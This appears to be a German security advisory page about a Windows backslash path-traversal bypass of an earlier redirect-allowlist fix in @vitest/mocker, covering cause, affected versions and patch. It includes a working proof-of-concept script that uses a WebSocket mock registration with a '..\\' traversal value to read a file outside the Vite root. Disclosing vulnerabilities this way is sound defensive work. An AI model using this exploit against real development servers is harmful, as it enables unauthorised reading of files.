Mittel

Vitest: Windows-Backslash-Traversal umgeht Fix der Redirect-Allowlist in @vitest/mocker

  • Veröffentlicht: 21.10.2026
  • Aktualisiert: 22.10.2026 00:10

Zusammenfassung

Der für GHSA-82fw-gwwq-j7x9 veröffentlichte Fix für Pfadüberquerung (Path Traversal) kann unter Windows umgangen werden, indem im Pfad der Weiterleitungs-URL ein Backslash verwendet wird.

Der korrigierte Code verbindet einen vom Angreifer kontrollierten URL-Pfad mithilfe von node:path/posix mit dem Vite-Stammverzeichnis und übergibt diese Zeichenkette anschließend an die Vite-Dateizulassungsprüfung. Unter Windows behält ein Wert wie C:/project/root/..\secret.txt während des POSIX-Joins ..\ bei und beginnt mit dem erlaubten Stammverzeichnis, sodass die Zulassungsliste diesen akzeptiert. Der nachfolgende Aufruf von readFile() nutzt die Semantik des Windows-Dateisystems, in dem der Backslash als Pfadtrennzeichen interpretiert wird, und liest die Geschwisterdatei außerhalb des konfigurierten Stammverzeichnisses.

Das Verhalten wurde mit den veröffentlichten @vitest/mocker-Paketen in beiden korrigierten Release-Zweigen reproduziert:

  • @vitest/mocker@4.1.11
  • @vitest/mocker@5.0.0

Der Quellcode von main beim Commit 2ce29d5fa758046e5453bd92b8ed6c9da9709bb5 wies dasselbe Verhalten auf.

Patches

Behoben in @vitest/mocker 5.0.3, veröffentlicht am 2026-09-30 (PR #11377), und rückportiert auf 4.1.12. Die Weiterleitungsregistrierung wandelt nun Backslashes im URL-Pfad vor dem Zusammenfügen mit dem Stammverzeichnis in normale Schrägstriche um, sodass ..\ wie ../ aufgelöst und durch die Zulassungsprüfung abgewiesen wird.

Verhältnis zu GHSA-82fw-gwwq-j7x9

Es handelt sich um eine Umgehung des ursprünglichen Fixes und nicht um einen separaten Pfad. Sie verwendet dieselbe vitest:interceptor:register-Weiterleitungsregistrierung und dieselbe Senke zum Auslesen von Dateien wie in der ursprünglichen Meldung. Eine Pfadüberquerung mit Schrägstrichen wird nach dem Fix blockiert, während die äquivalente Windows-Backslash-Variante akzeptiert wird.

In der ursprünglichen Meldung wurden 4.1.11 und 5.0.0-rc.2 als korrigiert angegeben. Die durch den unvollständigen Fix neu betroffenen Versionsbereiche sind daher:

  • 4.1.11
  • >=5.0.0-rc.2, <5.0.3

Ältere betroffene Versionen werden weiterhin durch GHSA-82fw-gwwq-j7x9 abgedeckt.

Ursache

packages/mocker/src/node/interceptorPlugin.ts importiert join aus node:path/posix. Die Registrierung von Weiterleitungen führt derzeit das Äquivalent von folgendem aus:

ts
const redirect = join(server.config.root, redirectUrl.pathname)
if (!isFileLoadingAllowed(server.config, redirect)) return
event.redirect = redirect

Der registrierte Wert erreicht später:

ts
readFile(mock.redirect, 'utf-8')

Die Zulassungsprüfung von Vite erwartet einen normalisierten absoluten Dateisystempfad. Unter Windows normalisiert der POSIX-Join Backslashes nicht, während readFile diese als Trennzeichen interpretiert. Die Prüfung und die Senke interpretieren dieselbe Zeichenkette daher unterschiedlich.

Das authentifizierte Browser-RPC-Fallback in packages/browser/src/node/rpc.ts ist nicht betroffen: Es verbindet den Pfad mit pathe, wodurch Backslashes vor der Zugriffskontrolle in reguläre Schrägstriche umgewandelt werden. Die Reproduktion zielt auf den öffentlichen Mocker-WebSocket-Registrierungspfad ab.

Voraussetzungen und Auswirkungen

Ein Client, der einen Vite-Server über die öffentliche mockerPlugin- oder eigenständige interceptorPlugin-WebSocket-Registrierung erreichen kann, kann einen Weiterleitungs-Mock registrieren. Unter Windows kann der Client anschließend das registrierte Modul abrufen und eine Datei außerhalb von server.fs.allow lesen, auf die das Vitest/Vite-Prozesskonto Zugriff hat. Der Vitest-Browser-Modus registriert diese WebSocket-Handler in den betroffenen Versionen nicht.

Die Reproduktion nutzt eine nicht authentifizierte Vite-HMR-WebSocket-Verbindung und eine normale HTTP-GET-Anfrage. Die interne Transform-API des Plugins wird nicht aufgerufen. Die tatsächliche Netzwerkerreichbarkeit entspricht den in der ursprünglichen Meldung beschriebenen Einsatzbedingungen; standardmäßig nur lokal gebundene Entwicklungsserver sind entsprechend weniger exponiert.

Reproduktion

Getestet auf GitHub-hosted Windows Server 2025 mit Node.js 22. Der Test erstellt ausschließlich temporäre synthetische Dateien: ein Vite-Stammverzeichnis und ein benachbartes secret.txt mit einem Canary-Wert.

Installieren Sie die Abhängigkeiten für eine der betroffenen Produktlinien:

bash
npm install @vitest/mocker@4.1.11 vite@7.1.5 ws@8.18.3
# or
npm install @vitest/mocker@5.0.0 vite@7.1.5 ws@8.18.3
node poc.mjs

poc.mjs:

js
import { mkdir, writeFile } from 'node:fs/promises'
import { join } from 'node:path'
import { tmpdir } from 'node:os'
import { randomUUID } from 'node:crypto'
import { interceptorPlugin } from '@vitest/mocker/node'
import { createServer } from 'vite'
import { WebSocket } from 'ws'

const base = join(tmpdir(), `vitest-path-${randomUUID()}`)
const root = join(base, 'root')
const secret = join(base, 'secret.txt')
await mkdir(root, { recursive: true })
await writeFile(secret, 'SYNTHETIC_OUTSIDE_ROOT_CANARY')

const server = await createServer({
  root,
  configFile: false,
  logLevel: 'silent',
  server: { fs: { allow: [root] } },
  plugins: [
    {
      name: 'validation:virtual-modules',
      enforce: 'pre',
      resolveId(id) {
        if (id === '/control' || id === '/bypass') return id
      },
    },
    interceptorPlugin(),
  ],
})

await server.listen()
const port = new URL(server.resolvedUrls.local[0]).port
const baseUrl = server.resolvedUrls.local[0]

function register(id, redirect) {
  return new Promise((resolve, reject) => {
    const socket = new WebSocket(`ws://localhost:${port}`, 'vite-hmr')
    const timer = setTimeout(() => reject(new Error('registration timeout')), 5000)
    socket.on('message', (raw) => {
      let message
      try { message = JSON.parse(raw.toString()) } catch { return }
      if (message.type === 'custom' && message.event === 'vitest:interceptor:register:result') {
        clearTimeout(timer)
        socket.close()
        resolve()
      }
    })
    socket.on('open', () => socket.send(JSON.stringify({
      type: 'custom',
      event: 'vitest:interceptor:register',
      data: { type: 'redirect', raw: '', id, url: id, redirect },
    })))
    socket.on('error', reject)
  })
}

try {
  await register('/control', 'traversal:../secret.txt')
  const controlResponse = await fetch(new URL('/control', baseUrl))
  const controlBody = await controlResponse.text()

  await register('/bypass', 'traversal:..\\secret.txt')
  const bypassResponse = await fetch(new URL('/bypass', baseUrl))
  const bypassBody = await bypassResponse.text()

  const result = {
    platform: process.platform,
    root,
    outsideFile: secret,
    slashTraversalStatus: controlResponse.status,
    slashTraversalRejected: !controlBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY'),
    backslashTraversalStatus: bypassResponse.status,
    backslashTraversalReturnedOutsideCanary: bypassBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY'),
    returnedBody: bypassBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY') ? 'SYNTHETIC_OUTSIDE_ROOT_CANARY' : null,
    expectedBackslashTraversalBlocked: process.env.EXPECT_BLOCKED === '1',
  }
  console.log(JSON.stringify(result, null, 2))
  const backslashResultMatchesExpectation = result.expectedBackslashTraversalBlocked
    ? !result.backslashTraversalReturnedOutsideCanary
    : result.backslashTraversalReturnedOutsideCanary
  if (!result.slashTraversalRejected || !backslashResultMatchesExpectation) process.exitCode = 1
} finally {
  await server.close()
}

Beobachtet mit @vitest/mocker@4.1.11:

js
{
  "platform": "win32",
  "slashTraversalStatus": 404,
  "slashTraversalRejected": true,
  "backslashTraversalStatus": 200,
  "backslashTraversalReturnedOutsideCanary": true,
  "returnedBody": "SYNTHETIC_OUTSIDE_ROOT_CANARY",
  "expectedBackslashTraversalBlocked": false
}

Das gleiche Ergebnis wurde mit @vitest/mocker@5.0.0 festgestellt.

Dies beinhaltet zwei nützliche Kontrollprüfungen:

  1. traversal:../secret.txt wird abgewiesen und gibt 404 zurück, was bestätigt, dass der veröffentlichte Fix für Schrägstriche aktiv ist.
  2. traversal:..\secret.txt gibt 200 und den exakten Canary-Inhalt außerhalb des Stammverzeichnisses zurück, was die Umgehung durch Windows-Trennzeichen anstelle einer nicht verwandten Route bestätigt.

Was zu tun ist

Aktualisieren Sie auf @vitest/mocker 5.0.3, 4.1.12 oder neuer. Der Patch wandelt Backslashes in URL-Pfaden vor dem Verbinden mit dem Stammverzeichnis in Schrägstriche um und verhindert so die Umgehung.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
npm-Paket @vitest/mocker >= 4.1.11, < 4.1.12, >= 5.0.0-rc.2, < 5.0.3 4.1.12, 5.0.3

Verweise

CVSS-Wert 5.9/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
Schwäche (CWE)
CWE-22
Plattform
npm
Paket
@vitest/mocker
Veröffentlicht
21.10.2026
Aktualisiert
22.10.2026 00:10

Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.

OSV / GitHub Advisory Database - GHSA-xp26-3454-mjgp - CC BY 4.0

Schwachstellenhistorie: @vitest/mocker

Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Einträge insgesamt
2
Erste → letzte
09.2026 10.2026
Ohne Fix
0
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Mittel 2

Veröffentlichungen pro Jahr

  1. 2026: 2
  1. Vitest: Windows-Backslash-Traversal umgeht Fix der Redirect-Allowlist in @vitest/mocker dieser Eintrag
    Mittel · 5.9 CVE-2026-112950 >= 4.1.11, < 4.1.12, >= 5.0.0-rc.2, < 5.0.3 4.1.12, 5.0.3
  2. Mittel · 5.9 CVE-2026-84373 >= 2.1.0, < 4.1.11, >= 5.0.0-beta.1, < 5.0.0-rc.2 4.1.11, 5.0.0-rc.2

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.